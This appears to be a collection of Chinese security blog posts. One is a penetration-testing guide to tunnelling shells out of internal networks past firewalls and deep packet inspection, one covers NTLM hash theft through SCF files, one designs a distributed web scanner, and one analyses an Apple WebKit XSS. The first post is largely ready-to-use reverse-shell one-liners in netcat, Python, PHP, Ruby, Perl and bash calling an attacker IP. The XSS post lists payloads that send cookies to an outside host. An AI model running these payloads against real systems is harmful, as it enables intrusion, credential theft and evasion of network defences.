渗透测试技巧之内网穿透方式与思路总结

本文首发于先知论坛:https://xianzhi.aliyun.com/forum/topic/1623/

0x00 前言

本文主要来探讨一下内网穿透方式与思路总结。在开始之前,需要先设置一个前提即已经具有目标内网中的一台主机的任意命令执行的权限,比如:webshell或者某个service的RCE漏洞。我们这里的目标是要绕过可能存在的防火墙,IDS/IPS或者深度包检测系统从而拿到目标内网主机的shell并进而穿透内网以便实施内网渗透。

0x01 实验与分析

实验环境的搭建:

这里我使用VirtualBox新建了一个NAT网络(10.0.2.0/24)来模拟内网以及一台Kali主机(192.168.0.230)来模拟外网主机,具体如下:

  • 内网地址(NAT网络):10.0.2.0/24
    • 内网主机A(Windows):10.0.2.15
    • 内网主机B(Linux):10.0.2.5
  • 内网出口地址(NAT出口地址):192.168.7.225
  • 外网主机:192.168.0.230

网络拓扑如下:

现在假设我们已经拥有了MyLab网络中的Linux或者Windows的代码执行权限,我们的目标是在我们的攻击机Kali主机上成功获取到内网主机的shell。

场景与思路分析:

场景一:内网防火墙对出口流量没有任何端口限制

思路:由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活,如:反弹shell

方法:

1. Windows:

nc.exe -nv 192.168.0.230 8080 -e cmd.exe

2. Linux: 

1)Netcat

nc -nv 192.168.0.230 8080 -e /bin/bash

mknod /tmp/p p && /bin/sh 0</tmp/p | nc 192.168.0.230 8080 1>/tmp/p

2)Ncat

ncat -nv 192.168.0.230 8080 -e /bin/bash

3)Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.230",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4)PHP

php -r '$sock=fsockopen("192.168.0.230",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

5)Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.230","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

6)Perl

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.230:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

7)Bash

bash -i >& /dev/tcp/192.168.0.230/8080 0>&1

0<&196;exec 196<>/dev/tcp/192.168.0.230/8080; sh <&196 >&196 2>&196
 
/bin/bash -i > /dev/tcp/192.168.0.230/8080 0<&1 2>&1

场景二:内网防火墙仅允许内网主机访问外网的特定端口(如:80, 443)

思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上,再通过连接外网主机上的本地端口来访问内网服务

方法一:反弹shell可参考场景一中的方法,仅需修改目标端口为防火墙允许的特定端口即可

方法二:端口转发

1. Windows

2. Linux (SSH远程端口转发,以允许的特定端口为80为例)

1)在外网主机上将ssh的22端口映射到80端口

$ apt-get install rinetd
$ vim /etc/rinetd.conf
# bindadress    bindport    connectaddress    connectport
  192.168.0.230 80          192.168.0.230     22

2)内网主机上SSH远程端口转发如下

ssh root@192.168.0.230 -p 80 -f -N -R 2022:127.0.0.1:22
(输入外网主机的SSH口令)

3)在外网主机上直接ssh内网主机如下

ssh -p 2022 avfisher@127.0.0.1
(输入内网主机的SSH口令)

方法三:SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网
1)在内网主机上执行

ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230
(输入外网主机的SSH口令)

2)在外网主机上执行

ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@127.0.0.1
(输入内网主机的SSH口令)

3)在外网主机上配置proxychains设置socks4代理

$ vim /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080

4) 使用proxychains代理所有流量进入内网

proxychains nc -nv 10.0.2.5 3306

场景三:内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网

思路:由于防火墙仅允许HTTP流量出去外网,可选择的方案将会受到很大限制,但是其中一种方案是HTTP隧道技术

方法:将payload的协议封装在HTTP协议中

1)在外网主机上安装brigde (https://github.com/luizluca/bridge)

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge
$ nc -lvvp 8080

2)在内网主机上安装bridge

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
$ nc -nv 127.0.0.1 8080 -e /bin/bash

一旦建立了HTTP隧道,后面的操作可以结合前2个场景中的方法。

场景四:内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量

思路:该场景比场景三更加苛刻,在场景三中我们将流量封装在HTTP协议中来Bypass检测,但是流量本身都是明文传输,所以一旦目标内网检测HTTP流量,我们还是可能被拦截,因此我们需要对场景三中的思路稍加修改,即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的,检测系统就无法发现真实的payload了。

方法:利用SSL或者SSH加密流量在结合HTTP隧道技术

1)与场景三中的方法类似,先在外网主机上安装brigde

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge

2)在外网主机上开启使用了ssl加密的ncat监听进程,如下

ncat -lvvp 8080 --ssl

3)在内网主机上安装bridge

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080

4)同样地,在内网主机上使用ssl与监听主机通信

ncat -nv 127.0.0.1 8080 -e /bin/bash --ssl

SSH加密端口转发流量的操作可参照场景二中的方法二和三。

场景五:内网主机完全与外网不通

思路:既然该内网主机与外网都不通,那为什么还浪费时间非要借助于这个主机来做内网穿透呢?换个思路,找个能通的内网主机在穿透出来吧。

方法:都找到了能通外网的内网主机了,那么其他场景里提到的方法应该就能解决你的问题了吧…

0x02 小结

本文尝试从不同场景切入分析和总结,从内网限制的宽松到严苛,来逐个探讨可行的Bypass方案,算是抛砖引玉吧,更多地方法和思路会不断丰富和更新进来。

注:尊重知识产权从你我做起,本文谢绝转载,如需转载请与博主联系后授权转载。

渗透测试技巧之利用SCF文件偷取Window NTLM Auth Hash

0x00 前言

今天国外安全研究人员公布了一个通过SCF文件来偷取远程服务器的Window NTLM Auth Hash的技巧,笔者仔细看了一下他的文章觉得很不错,故做了简单研究遂作此文。

0x01 分析与实践

漏洞原理分析

该漏洞通过向网络中的共享目录中上传特殊构造的SCF文件(即在SCF文件中将图标文件指定到我们攻击机伪造的共享目录里),故当任何用户访问该共享目录时便可获取它的Windows NTLM Hash,从而可以进一步破解Hash获得明文密码或者利用NTLM Relay攻击目标服务器,这是一个非常简单且实用的内网渗透技巧。

SCF stands for Shell Command File and is a file format that supports a very limited set of Windows Explorer commands, such as opening a Windows Explorer window or showing the Desktop. The "Show Desktop" shortcut we all use on a daily basis is an SCF file.

实验与实践

实验环境:

  • 攻击机:192.168.1.105 (Kali)
  • 目标机/局域网主机B (文件共享主机):192.168.1.107 (Windows 7 64 bits)
  • 局域网主机A:192.168.1.104 (Windows 7 32 bits)
  • 局域网主机C:192.168.1.106 (Windows XP)

具体步骤:

首先在目标机上创建一个共享文件夹并共享给everyone可读写权限(例如:scftest)

然后关闭共享的密码保护如下:

接下来,在我们的攻击机上创建一个SCF文件,如下:

注意:其中的192.168.1.105是指向我们的攻击机。

上传上面构造的SCF文件至目标服务器的共享目录里:


在攻击机上开启MSF的auxiliary/server/capture/smb模块来伪造共享目录并抓取用户的Windows密码Hash:


此时任何访问下面目标机上的共享目录的Windows用户的密码Hash都将可能被我们的攻击机获取到。

\\192.168.1.107\Users\win7_64\Desktop\scftest\

局域网主机A:(192.168.1.104/win7_32)


局域网主机B:(192.168.1.107/win7_64)


局域网主机C:(192.168.1.106/win_xp)


在攻击机上我们也“如愿地”偷取到了这三个来自不同windows主机的用户的Windows密码Hash:


所有获取到的NTLM Hash保存在/tmp/smbhashes.txt_netntlmv2,如下:


最后,我们可以通过John the Ripper或者其他在线Windows Hash破解网站,来破解明文密码或者利用Net-NTLM Hash来NTLM Relay攻击。

0x02 参考

注:转载请注明出处,尊重知识产权,从你我做起!

一个简单的分布式WEB扫描器的设计与实践

0x00 前言

作为一个安全从业人员,在平常的工作中总是需要对一些web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题,更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于web扫描器,而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行,这样可以极大的减少人工检测的工作量,但是随之而来也会导致过多的误报和漏报,原因之一就是爬虫无法获取到一些隐藏很深的系统资源(比如:URL)进行检测。在这篇文章里,笔者主要想和大家分享一下从另一个角度来设计web扫描器从而来解决开头所提到的问题。

0x01 设计

在开始探讨设计之前,我们首先了解一下web漏洞检测和扫描的一般过程和原理。通常我们所说的web漏洞检测和扫描大致分为2种方式:

  • web扫描器:主要利用扫描器的爬虫获取目标系统的所有URL,再尝试模拟访问这些URL获取更多的URL,如此循环,直到所有已知的URL被获取到,或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源;之后对获取的URL去重整理,利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞
  • 人工检测:通过设置代理(如:burp)来截获所有目标系统的访问请求,然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放(如:burp中的repeat功能)从而判断目标系统是否存在漏洞

对比上面的2种方式,我们可以发现web扫描器可以极大的减少人工检测的工作量,但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报;而人工检测可以很好的保证发现漏洞的准确性和针对性,但是却严重依赖于检测人员的经验和时间,尤其是大型系统很难在有限的时间内完成检测,同样会造成漏报。那么,如果能有效地利用扫描器的处理速度以及人工的精准度的话,是不是就可以很好地解决前面的问题了呢?

下面让我们来深究一下两者的各自优势,前者自动化程度高不需要过多的人为干预,后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下,如果我们有办法可以获取到所有的真实请求(包括:请求头,cookie,url,请求参数等等)并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢?

我们设想一下,如果有这样一个系统可以在用户与系统之前获取到所有的请求,并分发给扫描器进行检测,这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块:

  • 客户端:用户访问系统的载体,如:浏览器,手机APP
  • 代理:用于获取来自于客户端的所有请求,如:Burp,Load Balancer
  • 解析器:负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中
  • 请求数据库:用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息
  • 扫描器:具有漏洞检测功能的扫描器,如:自行编写的定制扫描器(hackUtils),SQLMAP,Burp Scanner,WVS,OWASP ZAP等
  • 应用系统:目标应用系统,如: Web系统,APP

基本架构如下:

从上图的设计中,我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中,然后将这些真实产生的请求分发给不同的扫描器(比如:常见的OWASP Top10的漏洞,已披露的常见框架或者中间件漏洞等)进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰,且仅通过中心数据库关联起来,因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。

这种设计架构可以很方便地进行扩展和应用, 例如:

  • 对于漏洞检测或者安全测试人员,我们只需要在本地设置好代理(如:burp),然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能,接下来的漏洞检测工作就完全交给了扫描器去做,这将极大地节约了时间和避免了大量重复的手工检测的工作量
  • 对于企业系统,我们可以将代理设置在应用前端(如:load balancer),这样所有的请求将会被自动镜像在扫描数据库,并自动分发给多个扫描引擎进行检测,无需手工干预即可发现很多隐藏很深的漏洞

0x02 实践

俗语说的好,“Talk is cheap, show me the code”! 是的,为了更好地了解这种设计思路的好处,笔者设计了一个Demo系统。该系统利用了burp作为代理,当我们在浏览器或者手机的wifi中配置好了代理服务器,漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能,代理将会自动地收集产生的所有请求数据(包括,各种请求头,cookie,请求方法,请求数据等)然后通过解析器的解析并存储于中央数据库,然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。

效果如下:

以下是我封装的一个python的requests库,它支持发送自定义的cookie,headers的get/post的请求,并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript,css等,可以非常方便的应用于反爬虫和DOM型XSS的检测。

Code:https://github.com/brianwrf/HackRequests

0x03 思考

从漏洞检测的角度来说,经过笔者的测试(以DVWA和WebGoat为例)检测效果还是非常明显和有效的。其实这种类似的设计,很早之前就已经有人做了,那么很多人要问了为什么你还要在重复造个轮子呢?其实原因有以下几点:

  • 系统耦合性较强,不利于进行扩展和改造
  • 在HTTPS的流量捕获上支持的不是很好
  • 没有做到对HTTP请求中所有的可控输入点进行检测,例如,仅仅检测GET/POST数据,而对cookie,user-agent, referer等缺乏检测
  • 缺乏对于DOM的渲染和解析,容易造成对于基于DOM的漏洞的漏报,比如:DOM型的XSS等
  • 不具备分布式部署的能力,无法有效利用分布式处理的优点来提高检测效率
  • 不具备真正的意义上的repeat检测能力,换句话说不能完全模拟用户的请求

当然,上述的设计也存在一些待解决的问题,比如:

  • 若将代理部署至应用前端镜像所有请求,再分发至扫描引擎检测,如何防止真实用户数据泄漏和篡改?可能的解决方案是设置例外,对于敏感字段或者请求进行例外处理。

写在最后

Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路,解决问题才是考验系统能力的关键!后续我会继续努力改进其不足,让其更加易于使用!

注:如觉得有意思想转载的话,请注明出处,尊重知识产权,从你我开始,谢谢!

一个有意思的Apple XSS(CVE-2016-7762)的 分析与思考

原创发于先知论坛:https://xianzhi.aliyun.com/forum/read/755.html

0x00 前言

应CVE作者的要求帮忙分析一下这个漏洞,实际上这是一个思路比较有意思的Apple XSS(CVE-2016-7762)。漏洞作者确实脑洞比较大也善于尝试和发掘,这里必须赞一个!

0x01 分析与利用

官方在2017年1月24日发布的安全公告中如下描述:

  • 可利用设备:iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later
  • 漏洞影响:处理恶意构造的web内容可能会导致XSS攻击
  • 漏洞描述:Safari在显示文档时产生此漏洞,且该漏洞已通过修正输入校验被解决了

那么,该漏洞真的如安全公告中所描述的那样被解决了吗?实际上,结果并非如此。

在分析之前,首先先了解一下这到底是个什么漏洞。

POC:

  • 创建一个文档文件,比如:
    • Word文件(docx)
    • PPT文件(pptx)
    • 富文本文件(rtf)
  • 添加一个超链接并插入JS脚本,如:
    • javascript:alert(document.domain);void(0)
    • javascript:alert(document.cookie);void(0)
    • javascript:alert(location.href);void(0)
    • javascript:x=new Image();x.src=”http://i0f.in/authtest.php?id=OAsMdS&info=”;
  • 上传文件至web服务器然后在Apple设备上使用如下应用打开,如:
    • Safari
    • QQ Browser
    • Firefox Browser
    • Google Browser
    • QQ客户端
    • 微信客户端
    • 支付宝客户端
  • 点击文档文件中的超链接,上述JS脚本将会被执行从而造成了XSS漏洞

效果图如下:


回顾一下上面的POC,发现其实该漏洞不仅仅存在于Safari中而是普遍存在于使用了WebKit的APP中。

我们都知道,iOS APP要想像浏览器一样可以显示web内容,那么就必须使用WebKit。这是因为WebKit提供了一系列的类用于实现web页面展示,以及浏览器功能。而其中的WKWebView(或者UIWebView)就是用来在APP中显示web内容的。而当我们使用Safari或者使用了WebKit的APP去打开一个URL时,iOS就会自动使用WKWebView/UIWebView来解析和渲染这些页面或者文档。当受害人点击web服务器上的文档中的链接时,就会导致超链接中插入的javascript脚本被执行从而造成了XSS。这是因为WKWebView/UIWebView在解析和渲染远程服务器上的文档文件时并没有对文档中内嵌的内容做很好的输入校验导致的。

该漏洞单从利用的角度来说还是比较鸡肋的,因为漏洞的触发必须依赖于用户点击文档中的超链接,笔者可以想到的可能的利用场景如下:

  • 攻击者上传了一个包含了恶意JS的超链接(比如:个人博客链接)的Word文件(比如:个人简历)至招聘网站
  • 受害者(比如:HR或者猎头)登录招聘网站且使用iPhone或者iPad上的Safari在线打开该简历中的“博客链接”,那么此时攻击者很可能就成功获取了受害者的该网站cookie之类的信息

0x02 思考

这个XSS漏洞本身其实并没有太多的技术含量或者技巧,但是在挖掘思路上却是很有意思且值得思考的。漏洞作者并没有将利用js直接插入至web页面本身,而是巧妙地利用了某些文档中的超链接绕过了WebKit的输入校验。这也从一定程度上再次阐释了web安全中一个最基本的原则即“所有输入都是不安全的”,不管是直接输入或者是间接输入。我们在做应用或者产品的安全设计时最好能够确认各种信任边界以及输入输出,且做好校验过滤以及必要的编码,这样才能有效的防范这种间接输入导致的漏洞。

0x03 参考

https://support.apple.com/en-us/HT207422

https://developer.apple.com/reference/webkit

https://developer.apple.com/reference/webkit/wkwebview

https://developer.apple.com/reference/uikit/uiwebview